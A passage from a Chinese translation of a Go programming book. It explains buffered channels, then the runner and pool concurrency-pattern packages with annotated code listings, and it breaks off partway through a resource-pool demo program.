23 func init() { 24 // 初始化随机数种子 25 rand.Seed(time.Now().Unix()) 26 } 27 28 // main 是所有 Go 程序的入口 29 func main() { 30 // 创建一个有缓冲的通道来管理工作 31 tasks := make(chan string, taskLoad) 32 33 // 启动 goroutine 来处理工作 34 wg.Add(numberGoroutines) 35 for gr := 1; gr <= numberGoroutines; gr++ { 36 go worker(tasks, gr) 37 } 38 39 // 增加一组要完成的工作 40 for post := 1; post <= taskLoad; post++ { 41 tasks <- fmt.Sprintf("Task : %d", post) 42 } 43 44 // 当所有工作都处理完时关闭通道 45 // 以便所有 goroutine 退出 46 close(tasks) 47 48 // 等待所有工作完成 49 wg.Wait() 50 } 51 52 // worker 作为 goroutine 启动来处理 53 // 从有缓冲的通道传入的工作 54 func worker(tasks chan string, worker int) { 55 // 通知函数已经返回 56 defer wg.Done() 57 58 for { 59 // 等待分配工作 60 task, ok := <-tasks 61 if !ok { 62 // 这意味着通道已经空了,并且已被关闭 63 fmt.Printf("Worker: %d : Shutting Down\n", worker) 64 return 65 } 66 67 // 显示我们开始工作了 68 fmt.Printf("Worker: %d : Started %s\n", worker, task) 69 70 // 随机等一段时间来模拟工作 71 sleep := rand.Int63n(100) 72 time.Sleep(time.Duration(sleep) * time.Millisecond) 73 74 // 显示我们完成了工作 75 fmt.Printf("Worker: %d : Completed %s\n", worker, task) 76 } 77 } 运行这个程序会得到代码清单 6-25 所示的输出。 代码清单 6-25 listing24.go 的输出 Worker: 1 : Started Task : 1 Worker: 2 : Started Task : 2 Worker: 3 : Started Task : 3 Worker: 4 : Started Task : 4 Worker: 1 : Completed Task : 1 Worker: 1 : Started Task : 5 Worker: 4 : Completed Task : 4 Worker: 4 : Started Task : 6 Worker: 1 : Completed Task : 5 Worker: 1 : Started Task : 7 Worker: 2 : Completed Task : 2 Worker: 2 : Started Task : 8 Worker: 3 : Completed Task : 3 Worker: 3 : Started Task : 9 Worker: 1 : Completed Task : 7 Worker: 1 : Started Task : 10 Worker: 4 : Completed Task : 6 Worker: 4 : Shutting Down Worker: 3 : Completed Task : 9 Worker: 3 : Shutting Down Worker: 2 : Completed Task : 8 Worker: 2 : Shutting Down Worker: 1 : Completed Task : 10 Worker: 1 : Shutting Down 由于程序和 Go 语言的调度器带有随机成分,这个程序每次执行得到的输出会不一样。不过, 通过有缓冲的通道,使用所有 4 个 goroutine 来完成工作,这个流程不会变。从输出可以看到每 个 goroutine 是如何接收从通道里分发的工作。 在 main 函数的第 31 行,创建了一个 string 类型的有缓冲的通道,缓冲的容量是 10。在 第 34 行,给 WaitGroup 赋值为 4,代表创建了 4 个工作 goroutine。之后在第 35 行到第 37 行, 创建了 4 个 goroutine,并传入用来接收工作的通道。在第 40 行到第 42 行,将 10 个字符串发送 到通道,模拟发给 goroutine 的工作。一旦最后一个字符串发送到通道,通道就会在第 46 行关闭, 而 main 函数就会在第 49 行等待所有工作的完成。 第 46 行中关闭通道的代码非常重要。当通道关闭后,goroutine 依旧可以从通道接收数据, 但是不能再向通道里发送数据。能够从已经关闭的通道接收数据这一点非常重要,因为这允许通 道关闭后依旧能取出其中缓冲的全部值,而不会有数据丢失。从一个已经关闭且没有数据的通道 里获取数据,总会立刻返回,并返回一个通道类型的零值。如果在获取通道时还加入了可选的标 志,就能得到通道的状态信息。 在 worker 函数里,可以在第 58 行看到一个无限的 for 循环。在这个循环里,会处理所有 接收到的工作。每个 goroutine 都会在第 60 行阻塞,等待从通道里接收新的工作。一旦接收到返 回,就会检查 ok 标志,看通道是否已经清空而且关闭。如果 ok 的值是 false,goroutine 就会 终止,并调用第 56 行通过 defer 声明的 Done 函数,通知 main 有工作结束。 如果 ok 标志是 true,表示接收到的值是有效的。第 71 行和第 72 行模拟了处理的工作。 一旦工作完成,goroutine 会再次阻塞在第 60 行从通道获取数据的语句。一旦通道被关闭,这个 从通道获取数据的语句会立刻返回,goroutine 也会终止自己。 有缓冲的通道和无缓冲的通道的例子很好地展示了如何编写使用通道的代码。在下一章,我 们会介绍真实世界里的一些可能会在工程里用到的并发模式。 6.6 小结 并发是指 goroutine 运行的时候是相互独立的。 使用关键字 go 创建 goroutine 来运行函数。 goroutine 在逻辑处理器上执行,而逻辑处理器具有独立的系统线程和运行队列。 竞争状态是指两个或者多个 goroutine 试图访问同一个资源。 原子函数和互斥锁提供了一种防止出现竞争状态的办法。 通道提供了一种在两个 goroutine 之间共享数据的简单方法。 无缓冲的通道保证同时交换数据,而有缓冲的通道不做这种保证。 第 7 章 并发模式 本章主要内容  控制程序的生命周期  管理可复用的资源池  创建可以处理任务的 goroutine 池 在第 6 章中,我们学习了什么是并发,通道是如何工作的,并学习了可以实际工作的并发代 码。本章将通过学习更多代码来扩展这些知识。我们会学习 3 个可以在实际工程里使用的包,这 3 个包分别实现了不同的并发模式。每个包从一个实用的视角来讲解如何使用并发和通道。我们 会学习如何用这个包简化并发程序的编写,以及为什么能简化的原因。 7.1 runner runner 包用于展示如何使用通道来监视程序的执行时间,如果程序运行时间太长,也可以 用 runner 包来终止程序。当开发需要调度后台处理任务的程序的时候,这种模式会很有用。这 个程序可能会作为 cron 作业执行,或者在基于定时任务的云环境(如 iron.io)里执行。 让我们来看一下 runner 包里的 runner.go 代码文件,如代码清单 7-1 所示。 代码清单 7-1 runner/runner.go 01 // Gabriel Aszalos 协助完成了这个示例 02 // runner 包管理处理任务的运行和生命周期 03 package runner 04 05 import ( 06 "errors" 07 "os" 08 "os/signal" 09 "time" 10 ) 11 7 第 7 章 并发模式 12 // Runner 在给定的超时时间内执行一组任务, 13 // 并且在操作系统发送中断信号时结束这些任务 14 type Runner struct { 15 // interrupt 通道报告从操作系统 16 // 发送的信号 17 interrupt chan os.Signal 18 19 // complete 通道报告处理任务已经完成 20 complete chan error 21 22 // timeout 报告处理任务已经超时 23 timeout <-chan time.Time 24 25 // tasks 持有一组以索引顺序依次执行的 26 // 函数 27 tasks []func(int) 28 } 29 30 // ErrTimeout 会在任务执行超时时返回 31 var ErrTimeout = errors.New("received timeout") 32 33 // ErrInterrupt 会在接收到操作系统的事件时返回 34 var ErrInterrupt = errors.New("received interrupt") 35 36 // New 返回一个新的准备使用的 Runner 37 func New(d time.Duration) *Runner { 38 return &Runner{ 39 interrupt: make(chan os.Signal, 1), 40 complete: make(chan error), 41 timeout: time.After(d), 42 } 43 } 44 45 // Add 将一个任务附加到 Runner 上。这个任务是一个 46 // 接收一个 int 类型的 ID 作为参数的函数 47 func (r *Runner) Add(tasks ...func(int)) { 48 r.tasks = append(r.tasks, tasks...) 49 } 50 51 // Start 执行所有任务,并监视通道事件 52 func (r *Runner) Start() error { 53 // 我们希望接收所有中断信号 54 signal.Notify(r.interrupt, os.Interrupt) 55 56 // 用不同的 goroutine 执行不同的任务 57 go func() { 58 r.complete <- r.run() 59 }() 60 61 select { 62 // 当任务处理完成时发出的信号 63 case err := <-r.complete: 64 return err 65 66 // 当任务处理程序运行超时时发出的信号 67 case <-r.timeout: 68 return ErrTimeout 69 } 70 } 71 72 // run 执行每一个已注册的任务 73 func (r *Runner) run() error { 74 for id, task := range r.tasks { 75 // 检测操作系统的中断信号 76 if r.gotInterrupt() { 77 return ErrInterrupt 78 } 79 80 // 执行已注册的任务 81 task(id) 82 } 83 84 return nil 85 } 86 87 // gotInterrupt 验证是否接收到了中断信号 88 func (r *Runner) gotInterrupt() bool { 89 select { 90 // 当中断事件被触发时发出的信号 91 case <-r.interrupt: 92 // 停止接收后续的任何信号 93 signal.Stop(r.interrupt) 95 return true 96 97 // 继续正常运行 98 default: 99 return false 100 } 101 } 代码清单 7-1 中的程序展示了依据调度运行的无人值守的面向任务的程序,及其所使用的并 发模式。在设计上,可支持以下终止点: 程序可以在分配的时间内完成工作,正常终止; 程序没有及时完成工作,“自杀”; 接收到操作系统发送的中断事件,程序立刻试图清理状态并停止工作。 让我们走查一遍代码,看看每个终止点是如何实现的,如代码清单 7-2 所示。 代码清单 7-2 runner/runner.go:第 12 行到第 28 行 12 // Runner 在给定的超时时间内执行一组任务, 13 // 并且在操作系统发送中断信号时结束这些任务 14 type Runner struct { 15 // interrupt 通道报告从操作系统 16 // 发送的信号 17 interrupt chan os.Signal 18 19 // complete 通道报告处理任务已经完成 20 complete chan error 21 22 // timeout 报告处理任务已经超时 23 timeout <-chan time.Time 24 25 // tasks 持有一组以索引顺序依次执行的 26 // 函数 27 tasks []func(int) 28 } 代码清单 7-2 从第 14 行声明 Runner 结构开始。这个类型声明了 3 个通道,用来辅助管理 程序的生命周期,以及用来表示顺序执行的不同任务的函数切片。 第 17 行的 interrupt 通道收发 os.Signal 接口类型的值,用来从主机操作系统接收中 断事件。os.Signal 接口的声明如代码清单 7-3 所示。 代码清单 7-3 golang.org/pkg/os/#Signal // Signal 用来描述操作系统发送的信号。其底层实现通常会 // 依赖操作系统的具体实现:在 UNIX 系统上是 // syscall.Signal type Signal interface { String() string Signal()//用来区分其他 Stringer } 代码清单 7-3 展示了 os.Signal 接口的声明。这个接口抽象了不同操作系统上捕获和报告 信号事件的具体实现。 第二个字段被命名为 complete,是一个收发 error 接口类型值的通道,如代码清单 7-4 所示。 代码清单 7-4 runner/runner.go:第 19 行到第 20 行 19 // complete 通道报告处理任务已经完成 20 complete chan error 这个通道被命名为 complete,因为它被执行任务的 goroutine 用来发送任务已经完成的信 号。如果执行任务时发生了错误,会通过这个通道发回一个 error 接口类型的值。如果没有发 生错误,会通过这个通道发回一个 nil 值作为 error 接口值。 第三个字段被命名为 timeout,接收 time.Time 值,如代码清单 7-5 所示。 代码清单 7-5 runner/runner.go:第 22 行到第 23 行 22 // timeout 报告处理任务已经超时 23 timeout <-chan time.Time 这个通道用来管理执行任务的时间。如果从这个通道接收到一个 time.Time 的值,这个程 序就会试图清理状态并停止工作。 最后一个字段被命名为 tasks,是一个函数值的切片,如代码清单 7-6 所示。 代码清单 7-6 runner/runner.go:第 25 行到第 27 行 25 // tasks 持有一组以索引顺序依次执行的 26 // 函数 27 tasks []func(int) 这些函数值代表一个接一个顺序执行的函数。会有一个与 main 函数分离的 goroutine 来执 行这些函数。 现在已经声明了 Runner 类型,接下来看一下两个 error 接口变量,这两个变量分别代表 不同的错误值,如代码清单 7-7 所示。 代码清单 7-7 runner/runner.go:第 30 行到第 34 行 30 // ErrTimeout 会在任务执行超时时返回 31 var ErrTimeout = errors.New("received timeout") 32 33 // ErrInterrupt 会在接收到操作系统的事件时返回 34 var ErrInterrupt = errors.New("received interrupt") 第一个 error 接口变量名为 ErrTimeout。这个错误值会在收到超时事件时,由 Start 方法返回。第二个 error 接口变量名为 ErrInterrupt。这个错误值会在收到操作系统的中断 事件时,由 Start 方法返回。 现在我们来看一下用户如何创建一个 Runner 类型的值,如代码清单 7-8 所示。 代码清单 7-8 runner/runner.go:第 36 行到第 43 行 36 // New 返回一个新的准备使用的 Runner 37 func New(d time.Duration) *Runner { 38 return &Runner{ 39 interrupt: make(chan os.Signal, 1), 40 complete: make(chan error), 41 timeout: time.After(d), 42 } 43 } 代码清单 7-8 展示了名为 New 的工厂函数。这个函数接收一个 time.Duration 类型的值, 并返回 Runner 类型的指针。这个函数会创建一个 Runner 类型的值,并初始化每个通道字段。 因为 task 字段的零值是 nil,已经满足初始化的要求,所以没有被明确初始化。每个通道字段 都有独立的初始化过程,让我们探究一下每个字段的初始化细节。 通道 interrupt 被初始化为缓冲区容量为 1 的通道。这可以保证通道至少能接收一个来自 语言运行时的 os.Signal 值,确保语言运行时发送这个事件的时候不会被阻塞。如果 goroutine 没有准备好接收这个值,这个值就会被丢弃。例如,如果用户反复敲 Ctrl+C 组合键,程序只会 在这个通道的缓冲区可用的时候接收事件,其余的所有事件都会被丢弃。 通道 complete 被初始化为无缓冲的通道。当执行任务的 goroutine 完成时,会向这个通道 发送一个 error 类型的值或者 nil 值。之后就会等待 main 函数接收这个值。一旦 main 接收 了这个 error 值,goroutine 就可以安全地终止了。 最后一个通道 timeout 是用 time 包的 After 函数初始化的。After 函数返回一个 time.Time 类型的通道。语言运行时会在指定的 duration 时间到期之后,向这个通道发送一 个 time.Time 的值。 现在知道了如何创建并初始化一个 Runner 值,我们再来看一下与 Runner 类型关联的方 法。第一个方法 Add 用来增加一个要执行的任务函数,如代码清单 7-9 所示。 代码清单 7-9 runner/runner.go:第 45 行到第 49 行 45 // Add 将一个任务附加到 Runner 上。这个任务是一个 46 // 接收一个 int 类型的 ID 作为参数的函数 47 func (r *Runner) Add(tasks ...func(int)) { 48 r.tasks = append(r.tasks, tasks...) 49 } 代码清单 7-9 展示了 Add 方法,这个方法接收一个名为 tasks 的可变参数。可变参数可以 接受任意数量的值作为传入参数。这个例子里,这些传入的值必须是一个接收一个整数且什么都 不返回的函数。函数执行时的参数 tasks 是一个存储所有这些传入函数值的切片。 现在让我们来看一下 run 方法,如代码清单 7-10 所示。 代码清单 7-10 runner/runner.go:第 72 行到第 85 行 72 // run 执行每一个已注册的任务 73 func (r *Runner) run() error { 74 for id, task := range r.tasks { 75 // 检测操作系统的中断信号 76 if r.gotInterrupt() { 77 return ErrInterrupt 78 } 79 80 // 执行已注册的任务 81 task(id) 82 } 83 84 return nil 85 } 代码清单 7-10 的第 73 行的 run 方法会迭代 tasks 切片,并按顺序执行每个函数。函数会 在第 81 行被执行。在执行之前,会在第 76 行调用 gotInterrupt 方法来检查是否有要从操作 系统接收的事件。 代码清单 7-11 中的方法 gotInterrupt 展示了带 default 分支的 select 语句的经典 用法。 代码清单 7-11 runner/runner.go:第 87 行到第 101 行 87 // gotInterrupt 验证是否接收到了中断信号 88 func (r *Runner) gotInterrupt() bool { 89 select { 90 // 当中断事件被触发时发出的信号 91 case <-r.interrupt: 92 // 停止接收后续的任何信号 93 signal.Stop(r.interrupt) 95 return true 96 97 // 继续正常运行 98 default: 99 return false 100 } 101 } 在第 91 行,代码试图从 interrupt 通道去接收信号。一般来说,select 语句在没有任 何要接收的数据时会阻塞,不过有了第 98 行的 default 分支就不会阻塞了。default 分支会 将接收 interrupt 通道的阻塞调用转变为非阻塞的。如果 interrupt 通道有中断信号需要接 收,就会接收并处理这个中断。如果没有需要接收的信号,就会执行 default 分支。 当收到中断信号后,代码会通过在第 93 行调用 Stop 方法来停止接收之后的所有事件。之 后函数返回 true。如果没有收到中断信号,在第 99 行该方法会返回 false。本质上, gotInterrupt 方法会让 goroutine 检查中断信号,如果没有发出中断信号,就继续处理工作。 这个包里的最后一个方法名为 Start,如代码清单 7-12 所示。 代码清单 7-12 runner/runner.go:第 51 行到第 70 行 51 // Start 执行所有任务,并监视通道事件 52 func (r *Runner) Start() error { 53 // 我们希望接收所有中断信号 54 signal.Notify(r.interrupt, os.Interrupt) 55 56 // 用不同的 goroutine 执行不同的任务 57 go func() { 58 r.complete <- r.run() 59 }() 60 61 select { 62 // 当任务处理完成时发出的信号 63 case err := <-r.complete: 64 return err 65 66 // 当任务处理程序运行超时时发出的信号 67 case <-r.timeout: 68 return ErrTimeout 69 } 70 } 方法 Start 实现了程序的主流程。在代码清单 7-12 的第 52 行,Start 设置了 gotInterrupt 方法要从操作系统接收的中断信号。在第 56 行到第 59 行,声明了一个匿名函数,并单独启动 goroutine 来执行。这个 goroutine 会执行一系列被赋予的任务。在第 58 行,在 goroutine 的内部 调用了 run 方法,并将这个方法返回的 error 接口值发送到 complete 通道。一旦 error 接 口的值被接收,该 goroutine 就会通过通道将这个值返回给调用者。 创建 goroutine 后,Start 进入一个 select 语句,阻塞等待两个事件中的任意一个。如果 从 complete 通道接收到 error 接口值,那么该 goroutine 要么在规定的时间内完成了分配的工 作,要么收到了操作系统的中断信号。无论哪种情况,收到的 error 接口值都会被返回,随后 方法终止。如果从 timeout 通道接收到 time.Time 值,就表示 goroutine 没有在规定的时间内 完成工作。这种情况下,程序会返回 ErrTimeout 变量。 现在看过了 runner 包的代码,并了解了代码是如何工作的,让我们看一下 main.go 代码文 件中的测试程序,如代码清单 7-13 所示。 代码清单 7-13 runner/main/main.go 01 // 这个示例程序演示如何使用通道来监视 02 // 程序运行的时间,以在程序运行时间过长 03 // 时如何终止程序 03 package main 04 05 import ( 06 "log" 07 "time" 08 09 "github.com/goinaction/code/chapter7/patterns/runner" 10 ) 11 12 // timeout 规定了必须在多少秒内处理完成 13 const timeout = 3 * time.Second 14 15 // main 是程序的入口 16 func main() { 17 log.Println("Starting work.") 18 19 // 为本次执行分配超时时间 20 r := runner.New(timeout) 21 22 // 加入要执行的任务 23 r.Add(createTask(), createTask(), createTask()) 24 25 // 执行任务并处理结果 26 if err := r.Start(); err != nil { 27 switch err { 28 case runner.ErrTimeout: 29 log.Println("Terminating due to timeout.") 30 os.Exit(1) 31 case runner.ErrInterrupt: 32 log.Println("Terminating due to interrupt.") 33 os.Exit(2) 34 } 35 } 36 37 log.Println("Process ended.") 38 } 39 40 // createTask 返回一个根据 id 41 // 休眠指定秒数的示例任务 42 func createTask() func(int) { 43 return func(id int) { 44 log.Printf("Processor - Task #%d.", id) 45 time.Sleep(time.Duration(id) * time.Second) 46 } 47 } 代码清单 7-13 的第 16 行是 main 函数。在第 20 行,使用 timeout 作为超时时间传给 New 函数,并返回了一个指向 Runner 类型的指针。之后在第 23 行,使用 createTask 函数创建了 几个任务,并被加入 Runner 里。在第 42 行声明了 createTask 函数。这个函数创建的任务只 是休眠了一段时间,用来模拟正在进行工作。增加完任务后,在第 26 行调用了 Start 方法,main 函数会等待 Start 方法的返回。 当 Start 返回时,会检查其返回的 error 接口值,并存入 err 变量。如果确实发生了错 误,代码会根据 err 变量的值来判断方法是由于超时终止的,还是由于收到了中断信号终止。 如果没有错误,任务就是按时执行完成的。如果执行超时,程序就会用错误码 1 终止。如果接收 到中断信号,程序就会用错误码 2 终止。其他情况下,程序会使用错误码 0 正常终止。 7.2 pool 本章会介绍pool包 ① ① 本书是以 Go 1.5 版本为基础写作而成的。在 Go 1.6 及之后的版本中,标准库里自带了资源池的实现 (sync.Pool)。推荐使用。——译者注 。这个包用于展示如何使用有缓冲的通道实现资源池,来管理可以在 任意数量的goroutine之间共享及独立使用的资源。这种模式在需要共享一组静态资源的情况(如 共享数据库连接或者内存缓冲区)下非 常有用。如果goroutine需要从池里得到这些资源中的一个, 它可以从池里申请,使用完后归还到资源池里。 让我们看一下 pool 包里的 pool.go 代码文件,如代码清单 7-14 所示。 代码清单 7-14 pool/pool.go 01 // Fatih Arslan 和 Gabriel Aszalos 协助完成了这个示例 02 // 包 pool 管理用户定义的一组资源 03 package pool 04 05 import ( 06 "errors" 07 "log" 08 "io" 09 "sync" 10 ) 11 12 // Pool 管理一组可以安全地在多个 goroutine 间 13 // 共享的资源。被管理的资源必须 14 // 实现 io.Closer 接口 15 type Pool struct { 16 m sync.Mutex 17 resources chan io.Closer 18 factory func() (io.Closer, error) 19 closed bool 20 } 21 22 // ErrPoolClosed 表示请求(Acquire)了一个 23 // 已经关闭的池 24 var ErrPoolClosed = errors.New("Pool has been closed.") 25 26 // New 创建一个用来管理资源的池。 27 // 这个池需要一个可以分配新资源的函数, 28 // 并规定池的大小 29 func New(fn func() (io.Closer, error), size uint) (*Pool, error) { 30 if size <= 0 { 31 return nil, errors.New("Size value too small.") 32 } 33 34 return &Pool{ 35 factory: fn, 36 resources: make(chan io.Closer, size), 37 }, nil 38 } 39 40 // Acquire 从池中获取一个资源 41 func (p *Pool) Acquire() (io.Closer, error) { 42 select { 43 // 检查是否有空闲的资源 44 case r, ok := <-p.resources: 45 log.Println("Acquire:", "Shared Resource") 46 if !ok { 47 return nil, ErrPoolClosed 48 } 49 return r, nil 50 51 // 因为没有空闲资源可用,所以提供一个新资源 52 default: 53 log.Println("Acquire:", "New Resource") 54 return p.factory() 55 } 56 } 57 58 // Release 将一个使用后的资源放回池里 59 func (p *Pool) Release(r io.Closer) { 60 // 保证本操作和 Close 操作的安全 61 p.m.Lock() 62 defer p.m.Unlock() 63 64 // 如果池已经被关闭,销毁这个资源 65 if p.closed { 66 r.Close() 67 return 68 } 69 70 select { 71 // 试图将这个资源放入队列 72 case p.resources <- r: 73 log.Println("Release:", "In Queue") 74 75 // 如果队列已满,则关闭这个资源 76 default: 77 log.Println("Release:", "Closing") 78 r.Close() 79 } 80 } 81 82 // Close 会让资源池停止工作,并关闭所有现有的资源 83 func (p *Pool) Close() { 84 // 保证本操作与 Release 操作的安全 85 p.m.Lock() 86 defer p.m.Unlock() 87 88 // 如果 pool 已经被关闭,什么也不做 89 if p.closed { 90 return 91 } 92 93 // 将池关闭 94 p.closed = true 95 96 // 在清空通道里的资源之前,将通道关闭 97 // 如果不这样做,会发生死锁 98 close(p.resources) 99 100 // 关闭资源 101 for r := range p.resources { 102 r.Close() 103 } 104 } 代码清单 7-14 中的 pool 包的代码声明了一个名为 Pool 的结构,该结构允许调用者根据所 需数量创建不同的资源池。只要某类资源实现了 io.Closer 接口,就可以用这个资源池来管理。 让我们看一下 Pool 结构的声明,如代码清单 7-15 所示。 代码清单 7-15 pool/pool.go:第 12 行到第 20 行 12 // Pool 管理一组可以安全地在多个 goroutine 间 13 // 共享的资源。被管理的资源必须 14 // 实现 io.Closer 接口 15 type Pool struct { 16 m sync.Mutex 17 resources chan io.Closer 18 factory func() (io.Closer, error) 19 closed bool 20 } Pool 结构声明了 4 个字段,每个字段都用来辅助以 goroutine 安全的方式来管理资源池。在 第 16 行,结构以一个 sync.Mutex 类型的字段开始。这个互斥锁用来保证在多个 goroutine 访 问资源池时,池内的值是安全的。第二个字段名为 resources,被声明为 io.Closer 接口类 型的通道。这个通道是作为一个有缓冲的通道创建的,用来保存共享的资源。由于通道的类型是 一个接口,所以池可以管理任意实现了 io.Closer 接口的资源类型。 factory 字段是一个函数类型。任何一个没有输入参数且返回一个 io.Closer 和一个 error 接口值的函数,都可以赋值给这个字段。这个函数的目的是,当池需要一个新资源时, 可以用这个函数创建。这个函数的实现细节超出了 pool 包的范围,并且需要由包的使用者实现 并提供。 第 19 行中的最后一个字段是 closed 字段。这个字段是一个标志,表示 Pool 是否已经被 关闭。现在已经了解了 Pool 结构的声明,让我们看一下第 24 行声明的 error 接口变量,如代 码清单 7-16 所示。 代码清单 7-16 pool/pool.go:第 22 行到第 24 行 22 // ErrPoolClosed 表示请求(Acquire)了一个 23 // 已经关闭的池 24 var ErrPoolClosed = errors.New("Pool has been closed.") Go 语言里会经常创建 error 接口变量。这可以让调用者来判断某个包里的函数或者方法返 回的具体的错误值。当调用者对一个已经关闭的池调用 Acquire 方法时,会返回代码清单 7-16 里的 error 接口变量。因为 Acquire 方法可能返回多个不同类型的错误,所以 Pool 已经关闭 时会关闭时返回这个错误变量可以让调用者从其他错误中识别出这个特定的错误。 既然已经声明了 Pool 类型和 error 接口值,我们就可以开始看一下 pool 包里声明的函 数和方法了。让我们从池的工厂函数开始,这个函数名为 New,如代码清单 7-17 所示。 代码清单 7-17 pool/pool.go:第 26 行到第 38 行 26 // New 创建一个用来管理资源的池。 27 // 这个池需要一个可以分配新资源的函数, 28 // 并规定池的大小 29 func New(fn func() (io.Closer, error), size uint) (*Pool, error) { 30 if size <= 0 { 31 return nil, errors.New("Size value too small.") 32 } 33 34 return &Pool{ 35 factory: fn, 36 resources: make(chan io.Closer, size), 37 }, nil 38 } 代码清单 7-17 中的 New 函数接受两个参数,并返回两个值。第一个参数 fn 声明为一个函 数类型,这个函数不接受任何参数,返回一个 io.Closer 和一个 error 接口值。这个作为参 数的函数是一个工厂函数,用来创建由池管理的资源的值。第二个参数 size 表示为了保存资源 而创建的有缓冲的通道的缓冲区大小。 第 30 行检查了 size 的值,保证这个值不小于等于 0。如果这个值小于等于 0,就会使用 nil 值作为返回的 pool 指针值,然后为该错误创建一个 error 接口值。因为这是这个函数唯 一可能返回的错误值,所以不需要为这个错误单独创建和使用一个 error 接口变量。如果能够 接受传入的 size,就会创建并初始化一个新的 Pool 值。在第 35 行,函数参数 fn 被赋值给 factory 字段,并且在第 36 行,使用 size 值创建有缓冲的通道。在 return 语句里,可以构 造并初始化任何值。因此,第 34 行的 return 语句用指向新创建的 Pool 类型值的指针和 nil 值作为 error 接口值,返回给函数的调用者。 在创建并初始化 Pool 类型的值之后,接下来让我们来看一下 Acquire 方法,如代码清单 7-18 所示。这个方法可以让调用者从池里获得资源。 代码清单 7-18 pool/pool.go:第 40 行到第 56 行 40 // Acquire 从池中获取一个资源 41 func (p *Pool) Acquire() (io.Closer, error) { 42 select { 43 // 检查是否有空闲的资源 44 case r, ok := <-p.resources: 45 log.Println("Acquire:", "Shared Resource") 46 if !ok { 47 return nil, ErrPoolClosed 48 } 49 return r, nil 50 51 // 因为没有空闲资源可用,所以提供一个新资源 52 default: 53 log.Println("Acquire:", "New Resource") 54 return p.factory() 55 } 56 } 代码清单 7-18 包含了 Acquire 方法的代码。这个方法在还有可用资源时会从资源池里返回 一个资源,否则会为该调用创建并返回一个新的资源。这个实现是通过 select/case 语句来检 查有缓冲的通道里是否还有资源来完成的。如果通道里还有资源,如第 44 行到第 49 行所写,就 取出这个资源,并返回给调用者。如果该通道里没有资源可取,就会执行 default 分支。在这 个示例中,在第 54 行执行用户提供的工厂函数,并且创建并返回一个新资源。 如果不再需要已经获得的资源,必须将这个资源释放回资源池里。这是 Release 方法的任 务。不过在理解 Release 方法的代码背后的机制之前,我们需要先看一下 Close 方法,如代 码清单 7-19 所示。 代码清单 7-19 pool/pool.go:第 82 行到第 104 行 82 // Close 会让资源池停止工作,并关闭所有现有的资源 83 func (p *Pool) Close() { 84 // 保证本操作与 Release 操作的安全 85 p.m.Lock() 86 defer p.m.Unlock() 87 88 // 如果 pool 已经被关闭,什么也不做 89 if p.closed { 90 return 91 } 92 93 // 将池关闭 94 p.closed = true 95 96 // 在清空通道里的资源之前,将通道关闭 97 // 如果不这样做,会发生死锁 98 close(p.resources) 99 100 // 关闭资源 101 for r := range p.resources { 102 r.Close() 103 } 104 } 一旦程序不再使用资源池,需要调用这个资源池的 Close 方法。代码清单 7-19 中展示了 Close 方法的代码。在第 98 行到第 101 行,这个方法关闭并清空了有缓冲的通道,并将缓冲的 空闲资源关闭。需要注意的是,在同一时刻只能有一个 goroutine 执行这段代码。事实上,当这 段代码被执行时,必须保证其他 goroutine 中没有同时执行 Release 方法。你一会儿就会理解为 什么这很重要。 在第 85 行到第 86 行,互斥量被加锁,并在函数返回时解锁。在第 89 行,检查 closed 标 志,判断池是不是已经关闭。如果已经关闭,该方法会直接返回,并释放锁。如果这个方法第一 次被调用,就会将这个标志设置为 true,并关闭且清空 resources 通道。 现在我们可以看一下 Release 方法,看看这个方法是如何和 Close 方法配合的,如代码 清单 7-20 所示。 代码清单 7-20 pool/pool.go:第 58 行到第 80 行 58 // Release 将一个使用后的资源放回池里 59 func (p *Pool) Release(r io.Closer) { 60 // 保证本操作和 Close 操作的安全 61 p.m.Lock() 62 defer p.m.Unlock() 63 64 // 如果池已经被关闭,销毁这个资源 65 if p.closed { 66 r.Close() 67 return 68 } 69 70 select { 71 // 试图将这个资源放入队列 72 case p.resources <- r: 73 log.Println("Release:", "In Queue") 74 75 // 如果队列已满,则关闭这个资源 76 default: 77 log.Println("Release:", "Closing") 78 r.Close() 79 } 80 } 在代码清单 7-20 中可以找到 Release 方法的实现。该方法一开始在第 61 行和第 62 行对互 斥量进行加锁和解锁。这和 Close 方法中的互斥量是同一个互斥量。这样可以阻止这两个方法 在不同 goroutine 里同时运行。使用互斥量有两个目的。第一,可以保护第 65 行中读取 closed 标志的行为,保证同一时刻不会有其他 goroutine 调用 Close 方法写同一个标志。第二,我们不 想往一个已经关闭的通道里发送数据,因为那样会引起崩溃。如果 closed 标志是 true,我们 就知道 resources 通道已经被关闭。 在第 66 行,如果池已经被关闭,会直接调用资源值 r 的 Close 方法。因为这时已经清空并 关闭了池,所以无法将资源重新放回到该资源池里。对 closed 标志的读写必须进行同步,否则 可能误导其他 goroutine,让其认为该资源池依旧是打开的,并试图对通道进行无效的操作。 现在看过了池的代码,了解了池是如何工作的,让我们看一下 main.go 代码文件里的测试程 序,如代码清单 7-21 所示。 代码清单 7-21 pool/main/main.go 01 // 这个示例程序展示如何使用 pool 包 02 // 来共享一组模拟的数据库连接 03 package main 04 05 import ( 06 "log" 07 "io" 08 "math/rand" 09 "sync" 10 "sync/atomic" 11 "time" 12 13 "github.com/goinaction/code/chapter7/patterns/pool" 14 ) 15 16 const ( 17 maxGoroutines = 25 // 要使用的 goroutine 的数量 18 pooledResources = 2 // 池中的资源的数量 19 ) 20 21 // dbConnection 模拟要共享的资源 22 type dbConnection struct { 23 ID int32 24 } 25 26 // Close 实现了 io.Closer 接口,以便 dbConnection 27 // 可以被池管理。Close 用来完成任意资源的 28 // 释放管理 29 func (dbConn *dbConnection) Close() error { 30 log.Println("Close: Connection", dbConn.ID) 31 return nil 32 } 33 34 // idCounter 用来给每个连接分配一个独一无二的 id 35 var idCounter int32 36 37 // createConnection 是一个工厂函数, 38 // 当需要一个新连接时,资源池会调用这个函数 39 func createConnection() (io.Closer, error) { 40 id := atomic.AddInt32(&idCounter, 1) 41 log.Println("Create: New Connection", id) 42 43 return &dbConnection{id}, nil 44 } 45 46 // main 是所有 Go 程序的入口 47 func main() { 48 var wg sync.WaitGroup 49 wg.Add(maxGoroutines) 50 51 // 创建用来管理连接的池 52 p, err := pool.New(createConnection, pooledResources) 53 if err != nil { 54 log.Println(err) 55 } 56 57 // 使用池里的连接来完成查询 58 for query := 0; query < maxGoroutines; query++ { 59 // 每个 goroutine 需要自己复制一份要 60 // 查询值的副本,不然所有的查询会共享 61 // 同一个查询变量 62 go func(q int) { 63 performQueries(q, p) 64 wg.Done() 65 }(query) 66 } 67 68 // 等待 goroutine 结束 69 wg.Wait() 70 71 // 关闭池 72 log.Println("Shutdown Program.") 73 p.Close() 74 } 75 76 // performQueries 